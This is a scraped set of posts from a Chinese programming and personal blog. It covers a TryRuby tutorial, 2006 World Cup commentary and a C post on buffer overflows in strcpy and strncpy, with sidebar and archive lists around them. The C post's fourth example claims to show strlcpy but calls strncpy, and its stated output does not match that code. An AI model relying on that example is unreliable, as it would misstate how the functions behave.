(4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/29/my-agentina-team-clothes/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"我的阿根廷队队服"},{"content":"在2005年初曾经写过一篇文章叫\u0026rsquo;结识Ruby\u0026rsquo;，当时的确是刚刚结识Ruby这种语言，好奇心使然，遗憾的是之后没有坚持学习下去，也就是在这一年Ruby获得了很大的发展，特别是Ruby On Rails的出现让Ruby一下成为新兴语言的代表，甚至有人预言Ruby将会成为Java的替代者成为下一代主流语言。无论如何，Ruby的日益被广大开发人员所接受是个不争的现实，就连Martin Fowler到中国讲\u0026rsquo;敏捷\u0026rsquo;时都向中国的开发人员推荐Ruby。大师都开始学习和使用Ruby了，我们还等什么呢？有空儿的时候就多学学吧。\n单纯的从学习Ruby语法的角度来看，有一个交互式学习的站点很是不错－TryRuby，感觉通过TryRuby学习Ruby基础语法就像是在玩类似\u0026rsquo;仙剑奇侠传\u0026rsquo;那种RPG游戏，有Tutorial一步一步指导你\u0026rsquo;过关\u0026rsquo;，而在\u0026rsquo;过关\u0026rsquo;的过程中，Ruby相关的基础就印在你的大脑中了。\n这里我把在\u0026rsquo;TryRuby\u0026rsquo;的过关过程记录下来，当然Tutorial中的一些英文说明这里被我粗略翻译为中文了：\ntry typing some math. Like: 2 + 6\n\u0026gt;\u0026gt; 2 + 6\n=\u0026gt; 8\nRuby能识别数字和数学符号，try some other math：\n\u0026gt;\u0026gt; 4 * 10\n=\u0026gt; 40\n\u0026gt;\u0026gt; 5 – 12\n=\u0026gt; -7\n\u0026gt;\u0026gt; 40 / 10\n=\u0026gt; 4\n计算机处理数学方便快捷，我们继续，我们来看看倒转你的名字，象这样\u0026quot;Jimmy\u0026quot;输入你的名字：\n\u0026gt;\u0026gt; \u0026ldquo;Tony\u0026rdquo;\n=\u0026gt; \u0026ldquo;Tony\u0026rdquo;\n一个字符串是一个计算机能够处理的字符集合，引号标识字符串的首尾，如果想翻转你的名字，敲入\u0026quot;Jimmy\u0026quot;.reverse\n\u0026gt;\u0026gt; \u0026ldquo;Tony\u0026rdquo;.reverse\n=\u0026gt; \u0026ldquo;ynoT\u0026rdquo;\n让我们看看你的名字中到底有多少个字母：\u0026ldquo;Jimmy\u0026rdquo;.length\n\u0026gt;\u0026gt; \u0026ldquo;Tony\u0026rdquo;.length\n=\u0026gt; 4\n看这个，我们将你的名字乘以5. \u0026ldquo;Jimmy\u0026rdquo; * 5\n\u0026gt;\u0026gt; \u0026ldquo;Tony\u0026rdquo; * 5\n=\u0026gt; \u0026ldquo;TonyTonyTonyTonyTony\u0026rdquo;\n我们来看看第一分钟学到了什么。\n(1) Numbers and strings are Ruby\u0026rsquo;s math and text objects.\n(2) Methods. You\u0026rsquo;ve used English-language methods like reverse and symbolic methods like * (the multiplication method.)\nMethods are action!\n让我们做些uncomfortable的事情，尝试翻转一个数字：40.reverse\n\u0026gt;\u0026gt; 40.reverse\n=\u0026gt; NoMethodError: undefined method `reverse\u0026rsquo; for 40:Fixnum from (irb):10 from :0\n你不能翻转一个数字，翻转一个数字没有意义，Ruby抛出一条错误信息，它在告诉你数字没有reverse方法。\n也许你可以先将该数字转换成字符串：40.to_s.reverse\n\u0026gt;\u0026gt; 40.to_s.reverse\n=\u0026gt; \u0026ldquo;04\u0026rdquo;\n数字和字符串不同。你可以在任何object上使用method，一些methods只能用于特定的type上，但是你可以使用Ruby\u0026rsquo;s \u0026ldquo;to\u0026rdquo; method在各种类型之间作转换。\nto_s converts things to strings.\nto_i converts things to integers (numbers.)\nto_a converts things to arrays.\nArrays是什么？它们是lists，敲入：[]\n\u0026gt;\u0026gt; []\n=\u0026gt; []\n那是一个空list，lists按顺序存储things，这里有一个list，彩票号码：[12, 47, 35]\n\u0026gt;\u0026gt; [12, 47, 35]\n=\u0026gt; [12, 47, 35]\n找出彩票号码中的最大值：[12, 47, 35].max\n\u0026gt;\u0026gt; [12, 47, 35].max\n=\u0026gt; 47\n总是重复写[12, 47, 35]这么一个大长串比较麻烦，我们将这些彩票号码放入一个’ticket’里吧，像这样：ticket = [12, 47, 35]\n\u0026gt;\u0026gt; ticket = [12, 47, 35]\n=\u0026gt; [12, 47, 35]\n现在敲入ticket：\n\u0026gt;\u0026gt; ticket\n=\u0026gt; [12, 47, 35]\n彩票号码被挤入一个变量ticket中，我们来给彩票号码排个序，怎么做呢：ticket.sort!\n\u0026gt;\u0026gt; ticket.sort!\n=\u0026gt; [12, 35, 47]\n现在你拥有了一个已经排好序的list了，而且变量ticket被改变了。我们来看看第二分钟我们都学到了什么东西：\n(1) Errors. If you try to reverse a number or do anything fishy, Ruby will skip the prompt and tell you so.\n(2) Arrays are lists for storing things in order.\n(3) Variables save a thing and give it a name. You used the equals sign to do this. Like: ticket = [14, 37, 18].\n打印一首诗吧\n\u0026gt;\u0026gt; print poem\nMy toast has flown from my hand And my toast has gone to the moon. But when I saw it on television, Planting our flag on Halley\u0026rsquo;s comet, More still did I want to eat it. =\u0026gt; nil\n试试这样一个操作：poem[\u0026rsquo;toast\u0026rsquo;] = \u0026lsquo;honeydew\u0026rsquo;，之后再print poem看看我们的新诗：\n\u0026gt;\u0026gt; poem[\u0026rsquo;toast\u0026rsquo;] = \u0026lsquo;honeydew\u0026rsquo; =\u0026gt; \u0026ldquo;honeydew\u0026rdquo;\n\u0026gt;\u0026gt; print poem\nMy honeydew has flown from my hand And my toast has gone to the moon. But when I saw it on television, Planting our flag on Halley\u0026rsquo;s comet, More still did I want to eat it. =\u0026gt; nil\n[]意思是\u0026quot;我要找…\u0026quot;，这里我们要在poem中找\u0026rsquo;toast\u0026rsquo;并将之替换成\u0026rsquo;honeydew\u0026rsquo;，这里有一个问题，如果我们将整首诗翻转会怎样呢：poem.reverse.\n\u0026gt;\u0026gt; poem.reverse =\u0026gt; \u0026ldquo;\\n.ti tae ot tnaw I did llits eroM\\n,temoc s\u0026rsquo;yellaH no galf ruo gnitnalP\\n,n\noisivelet no ti was I nehw tuB\\n.noom eht ot enog sah tsaot ym dnA\\ndnah ym morf\nnwolf sah wedyenoh yM\u0026rdquo;\n可以肯定的是整首诗都被一个字母一个字母的翻转了。其实我只是想按行翻转，即最后一行变成第一行，第一行变成最后一行，而不是像现在这样翻转，试试poem.to_a.reverse.\n\u0026gt;\u0026gt; poem.to_a.reverse =\u0026gt; [\u0026ldquo;More still did I want to eat it.\\n\u0026rdquo;, \u0026ldquo;Planting our flag on Halley\u0026rsquo;s comet,\\\nn\u0026rdquo;, \u0026ldquo;But when I saw it on television,\\n\u0026rdquo;, \u0026ldquo;And my toast has gone to the moon.\\n\u0026rdquo;\n, \u0026ldquo;My honeydew has flown from my hand\\n\u0026rdquo;]\n发生什么了？发生两件事：你将poem转换成array了，当Ruby将字符串转换为array时，它以每一行为一个单位，这就是我们得到上面结果的原因，因为array被翻转了。我们再来看一个method吧：print poem.to_a.reverse.join\n\u0026gt;\u0026gt; print poem.to_a.reverse.join More still did I want to eat it. Planting our flag on Halley\u0026rsquo;s comet, But when I saw it on television, And my toast has gone to the moon. My honeydew has flown from my hand =\u0026gt; nil\njoin方法将已经按行翻转的list重新组合成一个字符串，当然你也可以使用to_s方法。\nReview Time：\n(1) Exclamations. Methods may have exclamations (and also question marks) in their name. No big deal. Try: poem.include? \u0026ldquo;my\nhand\u0026rdquo;\n(2) Square brackets. Target and find things. Search and replace.\n(3) Chaining methods lets you get a lot more done. Break up a poem, reverse it, reassemble it: poem.to_a.reverse.join\nOK，如果你准备好继续了，敲入books = {}\n\u0026gt;\u0026gt; books = {} =\u0026gt; {}\n你已经建立起一个空的Hash表了，现在我们准备在这个Hash中建立一个book rating系统：\n:splendid -\u0026gt; a masterpiece.\n:quite_good -\u0026gt; enjoyed, sure, yes.\n:mediocre -\u0026gt; equal parts great and terrible.\n:quite_not_good -\u0026gt; notably bad.\n:abyssmal -\u0026gt; steaming wreck.\n如果你要rate一本书，你可以像这样做：books[\u0026ldquo;Gravity\u0026rsquo;s Rainbow\u0026rdquo;] = :splendid，将书目放入[]中，将rating放在等号后面。\n\u0026gt;\u0026gt; books[\u0026ldquo;Gravity\u0026rsquo;s Rainbow\u0026rdquo;] = :splendid =\u0026gt; :splendid\n继续填充该Hash，这些级别为the ratings are: :splendid, :quite_good, :mediocre, :quite_not_good, and :abyssmal. 它们不是strings，把一个:放在一个单词的前面，你就将得到一个符号，在内存空间占用上，符号要比string少得多. 符号在内存中只存储一次，但是可以多次使用，这点string是做不到的。如果你已经输入了3、4本书了，你可以敲入books.length来得到书的个数。\n\u0026gt;\u0026gt; books[\u0026ldquo;Gravity\u0026rsquo;s Rainbow1\u0026rdquo;] = :quite_good =\u0026gt; :quite_good\nbooks[\u0026ldquo;Gravity\u0026rsquo;s Rainbow2\u0026rdquo;] = :quite_good =\u0026gt; :quite_good\nbooks[\u0026ldquo;Gravity\u0026rsquo;s Rainbow3\u0026rdquo;] = :quite_not_good =\u0026gt; :quite_not_good\nbooks.length =\u0026gt; 4\n如果你想查找某本书的rating，只需要将书名放入[]之间：\n\u0026gt;\u0026gt; books[\u0026ldquo;Gravity\u0026rsquo;s Rainbow\u0026rdquo;] =\u0026gt; :splendid\n又到总结时间了，目前你学会了：\n(1) Hashes. The little dictionary with the curly pages: {}.\n(2) Symbols. Tiny, efficient code words with a colon: :splendid.\n我们的\u0026rsquo;寓教于乐\u0026rsquo;就到此为止了，其实TryRuby后面还有6节内容，因为篇幅太长，这里仅是抛砖引玉，剩下的大家可以自己到TryRuby去感受去学习。\n","permalink":"https://tonybai.com/2006/06/28/learn-ruby-in-amusement/","summary":"\u003cp\u003e在2005年初曾经写过一篇文章叫\u0026rsquo;\u003ca href=\"http://tonybai.com/2005/01/05/learn-ruby/\"\u003e结识Ruby\u003c/a\u003e\u0026rsquo;，当时的确是刚刚结识Ruby这种语言，好奇心使然，遗憾的是之后没有坚持学习下去，也就是在这一年Ruby获得了很大的发展，特别是\u003ca href=\"http://www.rubyonrails.org/\"\u003eRuby On Rails\u003c/a\u003e的出现让Ruby一下成为新兴语言的代表，甚至有人预言Ruby将会成为Java的替代者成为下一代主流语言。无论如何，Ruby的日益被广大开发人员所接受是个不争的现实，就连Martin Fowler到中国讲\u0026rsquo;敏捷\u0026rsquo;时都向中国的开发人员推荐Ruby。大师都开始学习和使用Ruby了，我们还等什么呢？有空儿的时候就多学学吧。\u003c/p\u003e","title":"'寓教于乐'学Ruby"},{"content":"昨晚的两场八分之一决赛有个共同的特点：控球不占优的球队反倒赢得了比赛。\n很早就期盼五星巴西的再次表演了，昨晚23点，强大的巴西队再次出场迎战仅存的非洲新军加纳，巴西队的首发阵容和其小组赛首场毫无二致，依旧是’梦幻四重奏’。一开场卡卡的一次助工就帮助大罗打破了世界杯进球纪录，同时也让巴西队有了一个梦幻的开局。取得1:0领先后，巴西人开始了他们的闲庭信步了，不过后卫的几次失误险些葬送了巴西的前途，加纳队就如所有非洲的球队一样，门前把握机会的能力太差，而且运气也不再加纳队一方，虽然加纳队仍然疯狂的进攻，但是在一次一次大好时机的浪费中，巴西人凭借了两次防反，完成了对加纳人的致命一击。加纳人已经做的很好了，但是在功利足球盛行的今天，他们还太年轻，期待加纳人2010年卷土重来，让我们鼓掌告别加纳吧。\n似乎小组赛的成绩和淘汰赛成绩并没有直接联系，昨晚法国人为我们证明了这一点。虽然老迈的法国人在小组赛战绩不堪回首，但是真正到了八分之一决赛他们仿佛’回光返照’一般，虽然控球不如西班牙，但是进攻效率明显高于斗牛士。西班牙人延续着他们在世界杯上的灰色历程，真不知道他们什么时候才能打破这种宿命。\n四分之一决赛，巴西继98世界杯决赛后再次遭遇法国，是巴西雪耻击败法国，还是法国保持对巴西的信心优势呢，7月2日见分晓。\n","permalink":"https://tonybai.com/2006/06/28/spain-out/","summary":"\u003cp\u003e昨晚的两场八分之一决赛有个共同的特点：控球不占优的球队反倒赢得了比赛。\u003c/p\u003e\n\u003cp\u003e很早就期盼五星巴西的再次表演了，昨晚23点，强大的巴西队再次出场迎战仅存的非洲新军加纳，巴西队的首发阵容和其小组赛首场毫无二致，依旧是’梦幻四重奏’。一开场卡卡的一次助工就帮助大罗打破了世界杯进球纪录，同时也让巴西队有了一个梦幻的开局。取得1:0领先后，巴西人开始了他们的闲庭信步了，不过后卫的几次失误险些葬送了巴西的前途，加纳队就如所有非洲的球队一样，门前把握机会的能力太差，而且运气也不再加纳队一方，虽然加纳队仍然疯狂的进攻，但是在一次一次大好时机的浪费中，巴西人凭借了两次防反，完成了对加纳人的致命一击。加纳人已经做的很好了，但是在功利足球盛行的今天，他们还太年轻，期待加纳人2010年卷土重来，让我们鼓掌告别加纳吧。\u003c/p\u003e","title":"鼓掌告别加纳，斗牛士折戟沉沙"},{"content":"两场八分之一比赛，均是通过点球决出的胜负。但虽然同是点球，各有各的特点，各有各的’冤屈’，我们一起来评点一下。^_^\n昨天晚上强忍’困倦’的侵袭，坚持看了一场完整的八分之一比赛-意大利 vs. 澳大利亚。其过程相当沉闷，很多评论界也认为这是意大利队本届世界杯开赛以来踢得最丑陋的一场比赛，可是意大利人是幸运的，凭借主裁判在伤停补时阶段的一个有些’找平衡’意义的点球判罚，淘汰了本想和意大利人拖到踢点球的澳大利亚人，看到这场比赛的人都会质疑那个点球，同时对马特拉齐的那张红牌也会颇有微词。又是一场裁判导演的比赛，这场比赛的受害者是两方，而澳大利亚更冤。\n意大利开场还是打出几个漂亮的配合的，可惜吉拉迪诺没能把握住机会，托尼的头球摆渡似乎总是差那么一点点，之后比赛渐渐进入澳大利亚人的节奏，希丁克的战术意图很明显，模仿2002年韩国vs. 意大利那场比赛，托跨意大利人。可是当马特拉齐被红牌罚下后，澳大利亚人并没有把握住时机，给予意大利致命一击，场上的节奏仍然是慢腾腾。澳大利亚人的怠慢让意大利人有了喘息的机会，这时候传统强队的特色开始发挥了。后卫的一次突破，一个看似假摔的倒地，一个点球命中，澳大利亚人没有02年韩国人那么幸运，含冤告别了世界杯，不过澳大利亚人的表现还是有目共睹的，特别是值得我们中国队好好学习学习了。毕竟下届世界杯预选赛，中澳两支球队可能会站在一块赛场上拼杀。\n早上听到瑞士vs.乌克兰的战报，真是难以置信，瑞士人创造了世界杯点球战的一项新纪录，一球未进，点球战居然被3:0淘汰。瑞士人造就了世界杯史上最差点球队的诞生。另外一个令人惊奇的结果却是直至瑞士人被淘汰，他们的大门还是一球未失(不算点球大战)，从这点看瑞士人也挺’冤’。\n四分之一比赛，意大利vs. 乌克兰，意大利人的运气还能维持多久，这场比赛到底’鹿死谁手’，让我们拭目以待吧。^_^\n","permalink":"https://tonybai.com/2006/06/27/australia-team-out/","summary":"\u003cp\u003e两场八分之一比赛，均是通过点球决出的胜负。但虽然同是点球，各有各的特点，各有各的’冤屈’，我们一起来评点一下。^_^\u003c/p\u003e\n\u003cp\u003e昨天晚上强忍’困倦’的侵袭，坚持看了一场完整的八分之一比赛-意大利 vs. 澳大利亚。其过程相当沉闷，很多评论界也认为这是意大利队本届世界杯开赛以来踢得最丑陋的一场比赛，可是意大利人是幸运的，凭借主裁判在伤停补时阶段的一个有些’找平衡’意义的点球判罚，淘汰了本想和意大利人拖到踢点球的澳大利亚人，看到这场比赛的人都会质疑那个点球，同时对马特拉齐的那张红牌也会颇有微词。又是一场裁判导演的比赛，这场比赛的受害者是两方，而澳大利亚更冤。\u003c/p\u003e","title":"澳大利亚含冤出局，史上最差点球队诞生"},{"content":"随着一场’红黄牌’满天飞的比赛的结束，这届世界杯似乎在告诉大家：’八强拒绝小组第二’。\n由于要上班的原因，没能看到荷兰与葡萄牙这场出示了16张黄牌，4张红牌的’经典’比赛，相比于葡萄牙队，我还是更喜欢荷兰队的，荷兰队的出局还是让我感觉很惋惜的。从技术统计来看，荷兰队在比赛中占据着较大优势，只是运气欠佳，比如科库的那脚打在门梁上的射门，不过感觉范帅的用人有些’渎职’，在打不开局面的情况下为什么不换上’机会主义者’范尼呢？这也是赛后很多人质疑范帅的指挥不当的一点，荷兰队止步了，不过荷兰人还很年轻，2010年世界杯相信他们会有更好的表现。\n厄瓜多尔上半场踢得很好，有很多机会，和荷兰队一样，老天好像并不眷顾’小组老二’，最终让英格兰人抓住机会给予了致命一击。同样在前天的比赛中，瑞典人开场不到15分钟就连失两球，墨西哥人更是在加时赛被罗格里格斯一脚’世界波’送回了老家。\n还有四场八强战，有可能给’老二’一族长脸的有两支球队，分别是法国和乌克兰，法国人虽然有些老迈而且队伍不是那么团结，但是一旦进入淘汰赛，任何可能都是会发生的，西班牙人在小组赛一路顺风顺水，不过那是因为小组里的球队相对较弱，这次可是考验西班牙斗牛士真实实力的时候了，不知道它能不能得到老天的眷顾；而乌克兰和瑞士两支世界杯新军，能进入16强就都已经很不错了，两支球队实力伯仲之间，结果只有到比赛时再见分晓了。\n","permalink":"https://tonybai.com/2006/06/26/worldcup-refuse-2nd-team-of-each-group/","summary":"\u003cp\u003e随着一场’红黄牌’满天飞的比赛的结束，这届世界杯似乎在告诉大家：’八强拒绝小组第二’。\u003c/p\u003e\n\u003cp\u003e由于要上班的原因，没能看到荷兰与葡萄牙这场出示了16张黄牌，4张红牌的’经典’比赛，相比于葡萄牙队，我还是更喜欢荷兰队的，荷兰队的出局还是让我感觉很惋惜的。从技术统计来看，荷兰队在比赛中占据着较大优势，只是运气欠佳，比如科库的那脚打在门梁上的射门，不过感觉范帅的用人有些’渎职’，在打不开局面的情况下为什么不换上’机会主义者’范尼呢？这也是赛后很多人质疑范帅的指挥不当的一点，荷兰队止步了，不过荷兰人还很年轻，2010年世界杯相信他们会有更好的表现。\u003c/p\u003e","title":"世界杯拒绝'老二'"},{"content":"在近期的一次工作交接中，在我的代码中发现了很多’安全隐患’，主要是以’字符串拷贝’为主。这种安全漏洞在C编程中是较为常见的，防范起来也较为容易，这里我们就来一起探索一下’字符串拷贝’的’密码’。\n在正常情况下，我们在考量目的缓冲区大小时都会以源缓冲区大小作为依据的，一般会适当的比源缓冲区多出一些空间，其中一种’居中’状况：即sizeof(dstbuf) = strlen(srcbuf) + 1。\n当sizeof(dstbuf) \u0026gt; strlen(srcbuf) + 1时，使用strcpy, strncpy都不会出现问题(缓冲区溢出问题)；\n[Ex1.]\nint main() {\n/*\n* 测试char *strcpy(char *s1, const char *s2);\n*/\nchar dstbuf1[10];\nchar *srcbuf1 = \u0026ldquo;Hello\u0026rdquo;;\nmemset(dstbuf1, 0, sizeof(dstbuf1));\nstrcpy(dstbuf1, srcbuf1);\nprintf(\u0026quot;%s\\n\u0026quot;, dstbuf1); /* 输出结果：Hello */\n/*\n* 测试char *strncpy(char *s1, const char *s2, size_t n);\n*/\nchar dstbuf2[10];\nchar *srcbuf2 = \u0026ldquo;Hello\u0026rdquo;;\nmemset(dstbuf2, 0, sizeof(dstbuf2));\nstrncpy(dstbuf2, srcbuf2, sizeof(dstbuf2)-1);\nprintf(\u0026quot;%s\\n\u0026quot;, dstbuf2); /* 输出结果：Hello */\n}\n当sizeof(dstbuf) \u0026lt; strlen(srcbuf) + 1时，当然这种情况就是异常情况，是否能很好的处理这样的异常情况恰恰体现了你的程序的健壮性好坏。我们分别讨论一下使用strcpy、strncpy和strlcpy在这种情况下出现的问题：\n(1) 使用strcpy\n使用strcpy会出现什么问题呢？strcpy会将srcbuf中的所有字符(直到并包括结尾0)拷贝到dstbuf中，即使sizeof(dstbuf)不够大。这样会导致dstbuf缓冲区溢出，看下面例子：\n[Ex2.]\nint main() {\n/*\n* 测试char *strcpy(char *s1, const char *s2);\n*/\nchar dstbuf1[6];\nchar *srcbuf1 = \u0026ldquo;HelloWorld\u0026rdquo;;\nmemset(dstbuf1, 0, sizeof(dstbuf1));\nstrcpy(dstbuf1, srcbuf1);\nprintf(\u0026quot;%s\\n\u0026quot;, dstbuf1); /* 缓冲区溢出，输出结果：HelloWorld */\n}\nstrcpy将’HelloWorld’拷贝到了dstbuf中，由于strcpy不检查目的缓冲区大小，所以即使目的缓冲区dstbuf大小不够，strcpy也继续拷贝，直至碰到源缓冲区的结尾0，strcpy同样不会放过源缓冲区的结尾0，该结尾0也被拷贝到目的缓冲区中，这样我们在输出dstbuf时，printf将结尾0之前的字符悉数打印出来。\n(2) 使用strncpy\n使用strncpy会出现什么问题呢？如果你这样使用(一般都应该这样用)strncpy(dstbuf, srcbuf, sizeof(dstbuf) – 1)，则不会出现问题，最后的sizeof(dstbuf)-1就是为了在dstbuf的结尾留出’结尾0′的空间。但是如果你这样用：strncpy(dstbuf, srcbuf, n), n \u0026gt; sizeof(dstbuf) – 1, 则由于目前srcbuf中的数量已经大于dstbuf的长度，一旦n也大于sizeof(dstbuf)-1，那么dstbuf的最终结果就是其没有结尾0，你printf(dstbuf)会得到结尾为乱码的字符串。看下面例子：\n[Ex3.]\nint main() {\n/*\n* 测试char *strncpy(char *s1, const char *s2, size_t n);\n*/\nchar dstbuf2[6];\nchar *srcbuf2 = \u0026ldquo;HelloWorld\u0026rdquo;;\nmemset(dstbuf2, 0, sizeof(dstbuf2));\nstrncpy(dstbuf2, srcbuf2, sizeof(dstbuf2));\nprintf(\u0026quot;%s\\n\u0026quot;, dstbuf2); /* dstbuf2的结尾0被覆盖，输出结果：HelloW鯰 */\n}\n(3) 使用strlcpy\nstrlcpy会出现什么情况呢？首先strlcpy并不是标准C库函数，不过在大部分Unix/Linux平台下都提供这个接口，它会在适当的时候截断srcbuf并保证dstbuf最后结尾0不被覆盖，保证缓冲区不溢出，也就是说使用strlcpy是安全的，但是并不一定是你期望的结果。\n[Ex4.]\nint main() {\n/*\n* 测试size_t strlcpy(char *dst, const char *src, size_t dstsize);\n*/\nchar dstbuf3[6];\nchar *srcbuf3 = \u0026ldquo;HelloWorld\u0026rdquo;;\nmemset(dstbuf3, 0, sizeof(dstbuf3));\nstrncpy(dstbuf3, srcbuf3, sizeof(dstbuf3));\n/*\n* strlcpy截断srcbuf, 将srcbuf的前sizeof(dstbuf3)-1个字符拷贝到dstbuf3中，\n* 并在dstbuf3的结尾处添加结尾0，输出结果：Hello\n*/\nprintf(\u0026quot;%s\\n\u0026quot;, dstbuf3); }\n通过上面的几个例子的讲解，相信你已经能够找到’字符串拷贝’的’密码’了，拥有这一密码你的程序将会变得更加健壮。^_^\n","permalink":"https://tonybai.com/2006/06/26/the-secret-of-string-copy/","summary":"\u003cp\u003e在近期的一次工作交接中，在我的代码中发现了很多’安全隐患’，主要是以’字符串拷贝’为主。这种安全漏洞在C编程中是较为常见的，防范起来也较为容易，这里我们就来一起探索一下’字符串拷贝’的’密码’。\u003c/p\u003e","title":"字符串拷贝密码"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 